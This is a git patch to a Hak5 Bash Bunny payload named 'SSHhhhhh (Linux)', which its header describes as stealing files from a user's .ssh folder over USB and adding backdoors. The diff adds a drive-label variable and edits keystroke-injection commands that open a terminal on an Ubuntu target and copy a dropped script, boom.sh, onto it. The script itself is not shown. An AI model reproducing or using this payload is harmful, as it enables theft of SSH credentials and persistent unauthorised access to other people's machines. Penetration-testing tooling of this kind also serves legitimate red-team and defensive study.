From 1c2199298a07fd6ccd9aa02943c83da8ca7ff760 Mon Sep 17 00:00:00 2001 From: WWVB <48934034+WWVB@users.noreply.github.com> Date: Sat, 24 Aug 2024 09:49:52 -0400 Subject: [PATCH] Update payload.txt Added BashBunny drive label variable as suggested by @hak5peaks --- .../library/remote_access/SSHhhhhh-(Linux)/payload.txt | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/payloads/library/remote_access/SSHhhhhh-(Linux)/payload.txt b/payloads/library/remote_access/SSHhhhhh-(Linux)/payload.txt index e7548d8e..3509faa1 100644 --- a/payloads/library/remote_access/SSHhhhhh-(Linux)/payload.txt +++ b/payloads/library/remote_access/SSHhhhhh-(Linux)/payload.txt @@ -1,12 +1,14 @@ # Title: SSHhhhhh # Description: Exfiltrates files from user's .ssh folder to Bash Bunny via USB & adds backdoors # Author: WWVB -# Props: Hak5Darren -# Version: 1.0 +# Props: Hak5Darren, hak5peaks +# Version: 1.1 # Category: Exfiltration w/Persistence # Target: Linux Ubuntu 18.04 LTS # Attackmodes: HID, Storage +DRIVE_LABEL="BashBunny" + #!/bin/bash LED SETUP @@ -19,7 +21,7 @@ QUACK CTRL-ALT t QUACK DELAY 100 # Drop primary payload on the box -QUACK STRING cp /media/\$USER/BashBunny/payloads/$SWITCH_POSITION/boom.sh . +QUACK STRING cp /media/\$USER/$DRIVE_LABEL/payloads/$SWITCH_POSITION/boom.sh . QUACK ENTER QUACK DELAY 50